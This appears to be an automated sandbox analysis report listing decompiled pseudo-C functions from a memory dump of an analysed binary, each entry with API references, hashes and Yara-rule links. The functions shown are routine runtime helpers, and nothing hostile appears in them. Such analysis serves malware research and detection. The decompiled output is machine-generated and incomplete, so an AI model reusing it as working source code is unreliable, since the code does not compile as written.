
Function 00F24D75, Relevance: 3.0, APIs: 2, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00F24D75(void* __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				intOrPtr _t8;
				intOrPtr _t9;
				intOrPtr* _t17;
				void* _t21;

				_t21 = __eflags;
				_t17 = _a4;
				_t16 = _a8;
				 *((intOrPtr*)(_t17 + 4)) = E00EF3450(_a8);
				_t8 = E00F24CBB(_t6 + 1);
				_push(_t8);
				 *((intOrPtr*)(_t17 + 8)) = _t8;
				_t9 = E00EF14F7(_t16, _t17, _t21); // executed
				_t15 =  *((intOrPtr*)(_t17 + 4)) + 1;
				 *_t17 = _t9;
				E00EF0D80(_t9, _t16,  *((intOrPtr*)(_t17 + 4)) + 1);
				E00F14A0F(_t15, _t17);
				return _t17;
			}

0x00f24d75
0x00f24d79
0x00f24d7d
0x00f24d86
0x00f24d8e
0x00f24d93
0x00f24d94
0x00f24d97
0x00f24d9f
0x00f24da3
0x00f24da5
0x00f24dae
0x00f24db8

APIs

_strlen.LIBCMT ref: 00F24D81

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_memmove.LIBCMT ref: 00F24DA5

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_memmove_strlen
String ID:
API String ID: 3238260300-0
Opcode ID: d8b832f317b5c68cd36a41356321b0aa83b813d0d5e4f043102ddb5ee97be978
Instruction ID: 11059fd798e94b1ec3a6de358cc50e8174193f67dd2975d5f1ac942ec032ed5c
Opcode Fuzzy Hash: d8b832f317b5c68cd36a41356321b0aa83b813d0d5e4f043102ddb5ee97be978
Instruction Fuzzy Hash: D6E09B719002146B8600BFA9DC06CABB7DCDD91710700541DF559E3602E579B94187A5

Uniqueness

Uniqueness Score: -1.00%

Function 00EED5C0, Relevance: 3.0, APIs: 2, Instructions: 29
sleeptimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EED5C0(struct tagMSG* __ecx, void* __eflags, intOrPtr _a4) {
				struct tagMSG* _t18;
				void* _t24;

				_t19 = _a4;
				if(E00EEC8A0( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4))))) <= 0) {
					Sleep(0);
				} else {
					 *((intOrPtr*)(__ecx + 0x2f8)) = timeGetTime();
					 *((intOrPtr*)(__ecx + 0x2f0)) = E00EEC8A0( *((intOrPtr*)( *((intOrPtr*)(_t19 + 4)))));
					 *((intOrPtr*)(__ecx + 0xf8)) = 2;
					E00EE9430(__ecx, _t18, _t24, 0); // executed
				}
				return 0;
			}

0x00eed5c5
0x00eed5d6
0x00f0e125
0x00eed5dc
0x00eed5e2
0x00eed5f6
0x00eed5fc
0x00eed606
0x00eed606
0x00eed610

APIs

timeGetTime.WINMM ref: 00EED5DC

Part of subcall function 00EE9430: PeekMessageW.USER32 ref: 00EE94B6

Sleep.KERNEL32(00000000), ref: 00F0E125

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessagePeekSleepTimetime
String ID:
API String ID: 1792118007-0
Opcode ID: dca4a3c346c67ce927176448c59f561fc9fcd30a433d9deb870d4255c2cb03bd
Instruction ID: c2067d26ac0b1692e6f420103d5ef33909667aba2472b8dbfe67189cb273512e
Opcode Fuzzy Hash: dca4a3c346c67ce927176448c59f561fc9fcd30a433d9deb870d4255c2cb03bd
Instruction Fuzzy Hash: 5EF08C7124460A9FC398EF6AD959B66BBE8AF45350F104039E83AD7391DBB0B801DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF15A2, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF15A2(int _a4) {

				E00EF1577(_a4);
				ExitProcess(_a4);
			}

0x00ef15aa
0x00ef15b3

APIs

___crtCorExitProcess.LIBCMT ref: 00EF15AA

Part of subcall function 00EF1577: GetModuleHandleW.KERNEL32(mscoree.dll,?,00EF15AF,?,?,00EF350A,000000FF,0000001E,00000001,00000000,00000000,?,00EF6A35,?,00000001,?), ref: 00EF1581
Part of subcall function 00EF1577: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00EF1591

ExitProcess.KERNEL32 ref: 00EF15B3

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 219391d13e765ee9cdebcd765c22a6358322ca957b4ae463d8cfc4a914ba4d00
Instruction ID: cc2db354d932c8b9fb0de743babef4fd2dffee92eba24283733c6d1426e54a51
Opcode Fuzzy Hash: 219391d13e765ee9cdebcd765c22a6358322ca957b4ae463d8cfc4a914ba4d00
Instruction Fuzzy Hash: 9DB0923100028CBBCB052F12EC0F85D3F6AEB813A0B504024FA2909131DFB2AE92AA80

Uniqueness

Uniqueness Score: -1.00%

Function 00F40775, Relevance: 2.6, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00F40775(char** _a4, intOrPtr _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char** _t12;
				signed int _t14;
				short* _t16;
				void* _t22;
				short* _t25;
				int _t35;
				int _t36;

				_t12 = _a4;
				_t35 =  &(_t12[1][1]);
				_t14 = MultiByteToWideChar(0xfde9, 0,  *_t12, _t35, 0, 0);
				_t36 = _t14;
				if(_t36 != 0) {
					_push( ~(0 | __eflags > 0x00000000) | _t14 * 0x00000002); // executed
					_t16 = E00EF14F7(_t35, _t36, __eflags); // executed
					_t25 = _t16;
					__eflags = MultiByteToWideChar(0xfde9, 0,  *_a4, _t35, _t25, _t36) - 1;
					E00EE3DA0(MultiByteToWideChar(0xfde9, 0,  *_a4, _t35, _t25, _t36) - 1, _t25, _a8, _t14 * 2 >> 0x20, 0); // executed
					_push(_t25); // executed
					_t22 = E00EF10FC(); // executed
					return _t22;
				} else {
					return E00EE3580(_a8);
				}
			}

0x00f40778
0x00f40786
0x00f40790
0x00f40796
0x00f4079a
0x00f407bb
0x00f407bc
0x00f407c5
0x00f407df
0x00f407e2
0x00f407e7
0x00f407e8
0x00f407f4
0x00f4079c
0x00f407a7
0x00f407a7

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,?,00F47AD6,?,00F081E2,?,?,?,00F081E2), ref: 00F40790
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00F081E2,?,?), ref: 00F407D6

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 2379a693c01870d6ca7e574917847ab0fea367e6492963e04c7fd643048cbc5b
Instruction ID: 90ecbf9d4e94843a6e3bc18fe414e61f6fd6d91350f4bd90ff01c11b0a3bc93d
Opcode Fuzzy Hash: 2379a693c01870d6ca7e574917847ab0fea367e6492963e04c7fd643048cbc5b
Instruction Fuzzy Hash: 2D01A2767402187FE310A669EC4AF6B779CDBC5721F144036FA05DF280D9A0ED0086A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3D20, Relevance: 2.6, APIs: 2, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00EE3D20(void* __ebx, char** _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				char** _t12;
				signed int _t14;
				short* _t17;
				void* _t23;
				short* _t25;
				int _t35;
				int _t37;
				signed int _t41;

				_t12 = _a4;
				_t35 =  &(_t12[1][1]);
				_t14 = MultiByteToWideChar(0, 1,  *_t12, _t35, 0, 0);
				_t41 = _t14;
				if(_t41 == 0) {
					return E00EE3580(_a8);
				}
				_t37 = _t14;
				_push( ~(0 | _t41 > 0x00000000) | _t14 * 0x00000002); // executed
				_t17 = E00EF14F7(_t35, _t37, _t41); // executed
				_t25 = _t17;
				E00EE3DA0(MultiByteToWideChar(0, 1,  *_a4, _t35, _t25, _t37) - 1, _t25, _a8, _t14 * 2 >> 0x20, 0); // executed
				_push(_t25); // executed
				_t23 = E00EF10FC(); // executed
				return _t23;
			}

0x00ee3d23
0x00ee3d31
0x00ee3d38
0x00ee3d3e
0x00ee3d40
0x00000000
0x00f07a99
0x00ee3d48
0x00ee3d59
0x00ee3d5a
0x00ee3d63
0x00ee3d7d
0x00ee3d82
0x00ee3d83
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,00EE378C,?,?,?,00000010), ref: 00EE3D38

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,00000010), ref: 00EE3D71

Part of subcall function 00EE3DA0: _memmove.LIBCMT ref: 00EE3DD7

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$_malloc_memmove
String ID:
API String ID: 961785871-0
Opcode ID: 32162ef0cd8df275d7428b8a4c8b77098bed8accd88224969ff9d40c0dfdeaec
Instruction ID: 8672e29bae6e458b84f2b64d6423a06e5633bb2f331e415da0f4b55925b93be4
Opcode Fuzzy Hash: 32162ef0cd8df275d7428b8a4c8b77098bed8accd88224969ff9d40c0dfdeaec
Instruction Fuzzy Hash: C201D172344208BFE750AB69EC8AF6B77DCDB85B21F005065FA09EB2D0D9A1ED008261

Uniqueness

Uniqueness Score: -1.00%

Function 00EEB650, Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00EEB650(void* __ebx, void* __ecx, void* __edi, intOrPtr* _a4) {
				void* __esi;
				void* _t17;
				intOrPtr _t31;
				void* _t45;
				intOrPtr* _t46;
				intOrPtr _t52;
				void* _t58;
				intOrPtr* _t60;
				intOrPtr* _t61;
				void* _t62;

				_t45 = __ebx;
				_t61 = _a4;
				if(_t61 == 0) {
					return _t17;
				} else {
					_t18 =  *((intOrPtr*)(_t61 + 0x18));
					_t58 = __ecx;
					if( *((intOrPtr*)(_t61 + 0x18)) != 0) {
						E00EEB650(__ebx, __ecx, __ecx, _t18); // executed
					}
				}
				_t19 =  *((intOrPtr*)(_t61 + 0x1c));
				if( *((intOrPtr*)(_t61 + 0x1c)) != 0) {
					E00EEB650(_t45, _t58, _t58, _t19); // executed
				}
				if( *((char*)(_t61 + 0x10)) != 0) {
					L13:
					 *((intOrPtr*)( *((intOrPtr*)(_t61 + 0xc)))) =  *((intOrPtr*)( *((intOrPtr*)(_t61 + 0xc)))) - 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t61 + 0xc)))) == 0) {
						_push( *_t61);
						E00EF10FC();
						_push( *((intOrPtr*)(_t61 + 0xc)));
						E00EF10FC();
						_t62 = _t62 + 8;
					}
					_push(_t61);
					return E00EF10FC();
				} else {
					_t60 =  *((intOrPtr*)(_t61 + 0x14));
					if(_t60 == 0) {
						goto L13;
					}
					_push(_t45);
					_t46 =  *((intOrPtr*)(_t60 + 0xc));
					if(_t46 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)(_t46 + 0xc)))) =  *((intOrPtr*)( *((intOrPtr*)(_t46 + 0xc)))) - 1;
						if( *((intOrPtr*)( *((intOrPtr*)(_t46 + 0xc)))) == 0) {
							_push( *_t46); // executed
							E00EF10FC(); // executed
							_push( *((intOrPtr*)(_t46 + 0xc)));
							E00EF10FC();
							_t62 = _t62 + 8;
						}
						_push(_t46);
						E00EF10FC();
						_t62 = _t62 + 4;
						 *((intOrPtr*)(_t60 + 0xc)) = 0;
					}
					_t31 =  *((intOrPtr*)(_t60 + 8));
					if(_t31 == 8) {
						_t52 =  *_t60;
						if(_t52 == 0) {
							goto L8;
						}
						__imp__#9(_t52);
						_push( *_t60);
						E00EF10FC();
						_t62 = _t62 + 4;
						L12:
						_push(_t60);
						 *((intOrPtr*)(_t60 + 8)) = 1;
						 *_t60 = 0;
						E00EF10FC();
						_t62 = _t62 + 4;
						goto L13;
					}
					L8:
					if(_t31 == 0xa) {
						_t32 =  *_t60;
						if( *_t60 != 0) {
							E00F230B0(_t32);
						}
					} else {
						if(_t31 == 5) {
							E00EEE470(_t60, _t61);
						} else {
							if(_t31 == 0xb) {
								_push( *((intOrPtr*)( *_t60 + 4))); // executed
								E00EF10FC(); // executed
								_push( *_t60);
								E00EF10FC();
								_t62 = _t62 + 8;
							} else {
								if(_t31 == 0xc) {
									_t40 =  *_t60;
									if( *_t60 != 0) {
										E00F2B350(_t40); // executed
									}
								}
							}
						}
					}
					goto L12;
				}
			}

0x00eeb650
0x00eeb654
0x00eeb659
0x00eeb703
0x00eeb65f
0x00eeb65f
0x00eeb663
0x00eeb667
0x00eeb66a
0x00eeb66a
0x00eeb667
0x00eeb66f
0x00eeb674
0x00eeb72b
0x00eeb72b
0x00eeb67e
0x00eeb6d6
0x00eeb6d9
0x00eeb6e2
0x00eeb6e6
0x00eeb6e7
0x00eeb6ef
0x00eeb6f0
0x00eeb6f5
0x00eeb6f5
0x00eeb6f8
0x00000000
0x00eeb680
0x00eeb680
0x00eeb685
0x00000000
0x00000000
0x00eeb687
0x00eeb688
0x00eeb68d
0x00eeb709
0x00eeb711
0x00eeb737
0x00eeb738
0x00eeb740
0x00eeb741
0x00eeb746
0x00eeb746
0x00eeb713
0x00eeb714
0x00eeb719
0x00eeb71c
0x00eeb71c
0x00eeb68f
0x00eeb696
0x00f08310
0x00f08314
0x00000000
0x00000000
0x00f0831b
0x00f08323
0x00f08324
0x00f08329
0x00eeb6c0
0x00eeb6c0
0x00eeb6c1
0x00eeb6c8
0x00eeb6ce
0x00eeb6d3
0x00000000
0x00eeb6d3
0x00eeb69c
0x00eeb69f
0x00f08331
0x00f08335
0x00f0833c
0x00f0833c
0x00eeb6a5
0x00eeb6a8
0x00eeb74d
0x00eeb6ae
0x00eeb6b1
0x00f0834b
0x00f0834c
0x00f08353
0x00f08354
0x00f08359
0x00eeb6b7
0x00eeb6ba
0x00f08361
0x00f08365
0x00f0836c
0x00f0836c
0x00f08365
0x00eeb6ba
0x00eeb6b1
0x00eeb6a8
0x00000000
0x00eeb69f

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509887d7ed076f9b4603eae29d70090b5cabf9a8d1c60fc5d1e7d331dc424503
Instruction ID: c3f9025a2a86b5fb2233c8b2e02917be85df4009c771c042baf5488977fafce3
Opcode Fuzzy Hash: 509887d7ed076f9b4603eae29d70090b5cabf9a8d1c60fc5d1e7d331dc424503
Instruction Fuzzy Hash: 7F31EC749006CEDBCB20EF26D8C2E2773E8EF50714B146915F505A7211DB35E854DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3130, Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00EE3130(void* __eax, signed int* __esi, void* __fp0) {
				signed int _v6;
				signed int _v12;
				signed int _v16;
				void* __edi;
				signed int _t29;
				signed int _t32;
				signed int _t33;
				signed int _t34;
				signed int _t36;
				signed int _t37;
				void* _t58;
				signed int _t59;
				signed int* _t61;

				_t61 = __esi;
				_t29 = __eax + 1;
				if(__esi[2] < _t29) {
					__eflags = _t29 - 0x41c2;
					if(_t29 >= 0x41c2) {
						__eflags = _t29 - 0x2000000;
						if(_t29 >= 0x2000000) {
							__eflags = _t29 - 0x8000000;
							if(_t29 >= 0x8000000) {
								_v12 = _t29;
								asm("fild dword [ebp-0x8]");
								__eflags = _t29;
								if(_t29 < 0) {
								}
								asm("fnstcw word [ebp-0x2]");
								_v12 = _v6 & 0x0000ffff | 0x00000c00;
								asm("fldcw word [ebp-0x8]");
								asm("fistp qword [ebp-0xc]");
								_t32 = _v16;
								asm("fldcw word [ebp-0x2]");
								goto L4;
							} else {
								_v12 = _t29;
								asm("fild dword [ebp-0x8]");
								__eflags = _t29;
								if(_t29 < 0) {
								}
								asm("fnstcw word [ebp-0x2]");
								_v12 = _v6 & 0x0000ffff | 0x00000c00;
								asm("fldcw word [ebp-0x8]");
								asm("fistp qword [ebp-0xc]");
								_t61[2] = _v16;
								asm("fldcw word [ebp-0x2]");
							}
						} else {
							_v12 = _t29;
							asm("fild dword [ebp-0x8]");
							__eflags = _t29;
							if(_t29 < 0) {
							}
							asm("fnstcw word [ebp-0x2]");
							_v12 = _v6 & 0x0000ffff | 0x00000c00;
							asm("fldcw word [ebp-0x8]");
							asm("fistp qword [ebp-0xc]");
							_t61[2] = _v16;
							asm("fldcw word [ebp-0x2]");
						}
					} else {
						_t32 = _t29 + _t29;
						__eflags = _t32;
						L4:
						_t61[2] = _t32;
					}
					_t33 = _t61[2];
					__eflags = _t33;
					if(__eflags == 0) {
						_t34 = 8;
					} else {
						_t34 = (_t33 + 7 >> 3) + (_t33 + 7 >> 3) + (_t33 + 7 >> 3) + (_t33 + 7 >> 3) + (_t33 + 7 >> 3) + (_t33 + 7 >> 3) + (_t33 + 7 >> 3) + (_t33 + 7 >> 3);
						__eflags = _t34;
					}
					_t61[2] = _t34;
					_push(_t58);
					_push( ~(0 | __eflags > 0x00000000) | _t34 * 0x00000002); // executed
					_t36 = E00EF14F7(_t58, _t61, __eflags); // executed
					_t59 = _t36;
					_t37 =  *_t61;
					__eflags = _t37;
					if(_t37 != 0) {
						E00EF0D80(_t59, _t37, _t61[1] + _t61[1] + 2);
						_push( *_t61);
						_t37 = E00EF10FC();
					}
					 *_t61 = _t59;
					return _t37;
				} else {
					return _t29;
				}
			}

0x00ee3130
0x00ee3133
0x00ee313a
0x00ee3140
0x00ee3145
0x00f06833
0x00f06838
0x00f06873
0x00f06878
0x00f068b3
0x00f068b6
0x00f068b9
0x00f068bb
0x00f068bb
0x00f068c9
0x00f068d5
0x00f068d8
0x00f068db
0x00f068de
0x00f068e1
0x00000000
0x00f0687a
0x00f0687a
0x00f0687d
0x00f06880
0x00f06882
0x00f06882
0x00f06890
0x00f0689c
0x00f0689f
0x00f068a2
0x00f068a8
0x00f068ab
0x00f068ab
0x00f0683a
0x00f0683a
0x00f0683d
0x00f06840
0x00f06842
0x00f06842
0x00f06850
0x00f0685c
0x00f0685f
0x00f06862
0x00f06868
0x00f0686b
0x00f0686b
0x00ee314b
0x00ee314b
0x00ee314b
0x00ee314d
0x00ee314d
0x00ee314d
0x00ee3150
0x00ee3153
0x00ee3155
0x00f068e9
0x00ee315b
0x00ee3165
0x00ee3165
0x00ee3165
0x00ee3169
0x00ee3176
0x00ee317b
0x00ee317c
0x00ee3181
0x00ee3183
0x00ee3188
0x00ee318a
0x00ee3196
0x00ee319d
0x00ee319e
0x00ee31a3
0x00ee31a6
0x00ee31ac
0x00ee313f
0x00ee313f
0x00ee313f

APIs

_memmove.LIBCMT ref: 00EE3196

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 3ac9c39f5288f5a0d95da7ded34587c88b95d0976f40eb4df443aa1b0232a05b
Instruction ID: 3bfe74a4880cd1c208033fb67d8ec60fc8f39119f6c83e43f501ec910a884910
Opcode Fuzzy Hash: 3ac9c39f5288f5a0d95da7ded34587c88b95d0976f40eb4df443aa1b0232a05b
Instruction Fuzzy Hash: 77315471E0060CEBDF048FA6D9466AEBBF4FF40701F20C5A9D895E6290E7359A50E740

Uniqueness

Uniqueness Score: -1.00%

Function 00EE29B0, Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00EE29B0(intOrPtr* __eax, void* __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t40;
				signed int _t41;
				intOrPtr _t44;
				intOrPtr* _t50;
				signed int _t51;
				signed short _t52;
				signed int _t53;
				intOrPtr* _t55;
				signed int _t56;
				intOrPtr* _t57;
				intOrPtr* _t58;
				intOrPtr* _t59;
				void* _t77;
				intOrPtr _t78;
				signed int _t79;
				intOrPtr* _t80;
				void* _t83;

				_t77 = __edi;
				_t57 = __eax;
				_t1 = _t77 + 0xc; // 0x43
				_t40 =  *_t1;
				_push(_t78);
				_t86 =  *((intOrPtr*)(__edi + 8)) - _t40;
				if( *((intOrPtr*)(__edi + 8)) == _t40) {
					_t41 = _t40 + _t40;
					 *(__edi + 0xc) = _t41;
					__eflags = _t41 - 4;
					if(__eflags < 0) {
						_t79 = 4;
					} else {
						_t79 = _t41;
					}
					 *(_t77 + 0xc) = _t79;
					_push( ~(0 | __eflags > 0x00000000) | _t79 * 0x00000004);
					_t44 = E00EF14F7(_t77, _t79, __eflags);
					_t33 = _t77 + 4; // 0xf249bc
					_t78 = _t44;
					_t34 = _t77 + 8; // 0x530041
					E00EF0D80(_t78,  *_t33,  *_t34 +  *_t34 +  *_t34 +  *_t34);
					_t35 = _t77 + 4; // 0xf249bc
					_push( *_t35);
					E00EF10FC();
					_t83 = _t83 + 0x14;
					 *((intOrPtr*)(_t77 + 4)) = _t78;
				}
				_push(0xc); // executed
				_t50 = E00EF14F7(_t77, _t78, _t86); // executed
				if(_t50 == 0) {
					_t80 = 0;
					goto L6;
				} else {
					_t80 = _t50;
					_t52 =  *((intOrPtr*)(_t57 + 8));
					 *(_t80 + 8) = _t52;
					_t53 = _t52 & 0x0000ffff;
					 *((short*)(_t80 + 0xa)) =  *((intOrPtr*)(_t57 + 0xa));
					if(_t53 <= 0x3f) {
						__eflags = _t53 - 0x30;
						if(__eflags < 0) {
							goto L3;
						} else {
							_push(0x10);
							_t55 = E00EF14F7(_t77, _t80, __eflags);
							__eflags = _t55;
							if(_t55 == 0) {
								_t55 = 0;
							} else {
								_t58 =  *_t57;
								 *_t55 =  *_t58;
								 *((intOrPtr*)(_t55 + 4)) =  *((intOrPtr*)(_t58 + 4));
								 *((intOrPtr*)(_t55 + 8)) =  *((intOrPtr*)(_t58 + 8));
								_t59 =  *((intOrPtr*)(_t58 + 0xc));
								 *((intOrPtr*)(_t55 + 0xc)) = _t59;
								 *_t59 =  *_t59 + 1;
								__eflags =  *_t59;
							}
							 *_t80 = _t55;
							_t19 = _t77 + 8; // 0x530041
							_t56 =  *_t19;
							_t20 = _t77 + 4; // 0xf249bc
							 *((intOrPtr*)( *_t20 + _t56 * 4)) = _t80;
							_t23 = _t77 + 8;
							 *_t23 =  *(_t77 + 8) + 1;
							__eflags =  *_t23;
							return _t56;
						}
					} else {
						L3:
						if(_t53 == 0x10) {
							 *_t80 =  *_t57;
							 *((intOrPtr*)(_t80 + 4)) =  *((intOrPtr*)(_t57 + 4));
						} else {
							if(_t53 == 0x20) {
								 *_t80 =  *_t57;
							} else {
								 *_t80 =  *_t57;
							}
						}
						L6:
						_t7 = _t77 + 8; // 0x530041
						_t51 =  *_t7;
						_t8 = _t77 + 4; // 0xf249bc
						 *((intOrPtr*)( *_t8 + _t51 * 4)) = _t80;
						 *(_t77 + 8) =  *(_t77 + 8) + 1;
						return _t51;
					}
				}
			}

0x00ee29b0
0x00ee29b1
0x00ee29b3
0x00ee29b3
0x00ee29b6
0x00ee29b7
0x00ee29ba
0x00ee2a57
0x00ee2a59
0x00ee2a5c
0x00ee2a5f
0x00ee2aa6
0x00ee2a61
0x00ee2a61
0x00ee2a61
0x00ee2a71
0x00ee2a78
0x00ee2a79
0x00ee2a7e
0x00ee2a81
0x00ee2a83
0x00ee2a8d
0x00ee2a92
0x00ee2a95
0x00ee2a96
0x00ee2a9b
0x00ee2a9e
0x00ee2a9e
0x00ee29c0
0x00ee29c2
0x00ee29cc
0x00f067b5
0x00000000
0x00ee29d2
0x00ee29d2
0x00ee29d4
0x00ee29d8
0x00ee29e0
0x00ee29e3
0x00ee29eb
0x00ee2a14
0x00ee2a18
0x00000000
0x00ee2a1a
0x00ee2a1a
0x00ee2a1c
0x00ee2a24
0x00ee2a26
0x00f06796
0x00ee2a2c
0x00ee2a2c
0x00ee2a30
0x00ee2a35
0x00ee2a3b
0x00ee2a3e
0x00ee2a41
0x00ee2a44
0x00ee2a44
0x00ee2a44
0x00ee2a46
0x00ee2a48
0x00ee2a48
0x00ee2a4b
0x00ee2a4e
0x00ee2a51
0x00ee2a51
0x00ee2a51
0x00ee2a56
0x00ee2a56
0x00ee29ed
0x00ee29ed
0x00ee29f1
0x00f0679f
0x00f067a4
0x00ee29f7
0x00ee29fb
0x00f067ae
0x00ee2a01
0x00ee2a03
0x00ee2a03
0x00ee29fb
0x00ee2a05
0x00ee2a05
0x00ee2a05
0x00ee2a08
0x00ee2a0b
0x00ee2a0e
0x00ee2a13
0x00ee2a13
0x00ee29eb

APIs

_memmove.LIBCMT ref: 00EE2A8D

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
